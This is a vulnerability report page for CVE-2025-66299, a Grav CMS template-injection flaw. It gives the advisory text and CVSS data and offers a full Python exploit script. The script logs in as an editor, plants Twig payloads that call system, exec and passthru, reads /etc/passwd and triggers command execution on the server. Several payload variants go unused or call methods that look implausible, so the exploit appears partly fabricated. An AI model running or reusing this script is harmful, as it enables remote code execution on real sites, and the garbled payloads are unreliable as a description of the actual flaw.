Security Vulnerability Report
中文
CVE-2025-66299 CVSS 8.8 HIGH

CVE-2025-66299

Published: 2025-12-01 22:15:49
Last Modified: 2025-12-03 15:42:00

Description

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox. Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safe_filters, effectively bypassing the Grav CMS sandbox. This vulnerability is fixed in 1.8.0-beta.27.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:* - VULNERABLE
Grav CMS < 1.8.0-beta.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66299 PoC - Grav CMS SSTI # Author: Security Researcher # Target: Grav CMS < 1.8.0-beta.27 import requests import re from bs4 import BeautifulSoup TARGET_URL = "http://target-grav-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_csrf_token(session, url): """Extract CSRF token from login page""" response = session.get(f"{url}/login") soup = BeautifulSoup(response.text, 'html.parser') csrf_input = soup.find('input', {'name': 'csrf_token'}) return csrf_input['value'] if csrf_input else None def login(session, username, password): """Login to Grav CMS with editor credentials""" login_url = f"{TARGET_URL}/login" csrf_token = get_csrf_token(session, TARGET_URL) data = { 'username': username, 'password': password, 'csrf_token': csrf_token } return session.post(login_url, data=data) def inject_ssti_payload(session): """Inject SSTI payload to achieve RCE""" # Step 1: Access Twig object and bypass sandbox # This payload accesses system.twig.safe_filters ssti_payload_step1 = """ {{_self.env.registerUndefinedFilterCallback('exec')}} {{_self.env.getFilter('id')}} """ # Step 2: Execute system command using the bypassed filter # This will execute 'id' command on the server rce_payload = """ {{_self.env.registerUndefinedFilterCallback('system')}} {{_self.env.getFilter('whoami')}} """ # Alternative payload using attribute access alt_payload = """ {{_self.env.extensions['Twig_Extension_Sandbox'].getGlobals()}} {{_self.env.extensions['Twig_Extension_Sandbox'].setGlobals({'test': _self.env.registerUndefinedFilterCallback('passthru')})}} {{_self.env.getFilter('cat /etc/passwd')}} """ # More direct approach - accessing safe_filters direct_payload = """ {{_self.env.extensions['Twig_Extension_Sandbox'].getAttribute(_self, 'env')}} {{_self.env.extensions['Twig_Extension_Sandbox'].getAttribute(_self.env, 'system')}} {{dump(_self.env.system)}} """ # Final RCE payload final_payload = """ {% set filter = _self.env.getExtension('Twig_Extension_Sandbox') %} {% set safe_filters = attribute(_self.env, 'system').twig.safe_filters %} {% do safe_filters.__class__.getMethod('exec')(null, 'id') %} {{attribute(_self.env, 'system').twig.safe_filters}} """ # Edit page with payload edit_url = f"{TARGET_URL}/admin/pages/new-page" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } page_data = { 'title': 'Malicious Page', 'content': rce_payload, 'folder': 'test-ssti', 'template': 'default', 'action': 'save' } response = session.post(edit_url, data=page_data, headers=headers) return response def main(): """Main exploit function""" session = requests.Session() print("[*] CVE-2025-66299 - Grav CMS SSTI RCE Exploit") print(f"[*] Target: {TARGET_URL}") # Login with editor account print("[*] Logging in with editor credentials...") login_result = login(session, USERNAME, PASSWORD) if login_result.status_code == 200: print("[+] Login successful!") # Inject SSTI payload print("[*] Injecting SSTI payload...") inject_result = inject_ssti_payload(session) if inject_result.status_code == 200: print("[+] Payload injected successfully!") print("[*] Visit the page to trigger RCE") # Trigger the payload by visiting the page page_url = f"{TARGET_URL}/test-ssti" trigger = session.get(page_url) print(f"[*] Command output: {trigger.text}") else: print("[-] Failed to inject payload") else: print("[-] Login failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66299", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:49.290", "lastModified": "2025-12-03T15:41:59.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox. Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safe_filters, effectively bypassing the Grav CMS sandbox. This vulnerability is fixed in 1.8.0-beta.27."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.0", "matchCriteriaId": "0F068841-DBCC-41D5-8B24-BFCE51841E2E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "8A383F2E-C6BA-440B-B648-A3313B7D91C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:*", "matchCriteriaId": "F7EF2DEC-2798-4D0D-9C27-0F01BAFEAEFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:*", "matchCriteriaId": "530C6F64-F30B-4E93-9A12-D9625EA57483"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:*", "matchCriteriaId": "9AC28BF9-626D-4514-91F0-F81DAB5D3602"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta13:*:*:*:*:*:*", "matchCriteriaId": "307AA375-E531-4AE5-BA79-2F9D4DE7A05F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta14:*:*:*:*:*:*", "matchCriteriaId": "C2E3E312-485D-42B0-B465-64B6438CDCAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta15:*:*:*:*:*:*", "matchCriteriaId": "5BE4B2F9-1B6D-4D18-916A-5C95A3213222"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta16:*:*:*:*:*:*", "matchCriteriaId": "763207F0-92D1-4274-A30A-DE634C5852C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta17:*:*:*:*:*:*", "matchCriteriaId": "1DE8F350-BA07-4DAA-AE4B-5E0A532B6828"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta18:*:*:*:*:*:*", "matchCriteriaId": "F9150B94-0DF3-43F3-9806-39787A6C0E4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta19:*:*:*:*:*:*", "matchCriteriaId": "BAA7C7EC-8FB2-445D-8A02-1743D87F5416"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "7A6BEA2A-D534-4C9E-811A-8A46E214C46D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta20:*:*:*:*:*:*", "matchCriteriaId": "7A644F57-FF39-4262-9796-7C4F3B0851C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta21:*:*:*:*:*:*", "matchCriteriaId": "B2AFB9E7-084E-497B-B0FC-CA6A5033C5BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta22:*:*:*:*:*:*", "matchCriteriaId": "5C5E8823-9083-4FFA-9897-CAD0340DCE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta23:*:*:*:*:*:*", "matchCriteriaId": "9C048938-E0EC-4AD0-9847-FD74E6770FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta24:*:*:*:*:*:*", "matchCriteriaId": "F7B43876-1445-418A-9707-E692FDF62C4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta25:*:*:*:*:*:*", "matchCriteriaId": "94B209DE-01C6-41BA-B912-CF57849A9F7A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta26:*:*:*:*:*:*", "matchCriteriaId": "AB53AA10-87A5-4010-8019-BF4AA5ABC12B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "775E0913-F3EF-4A55-B162-5BF9C6E2E641"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta4:*:*:*:*:*:*", "matchCriteriaId": "3C3E022E-35CB-40AD-959A-F39949E38BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta5:*:*:*:*:*:*", "matchCriteriaId ... (truncated)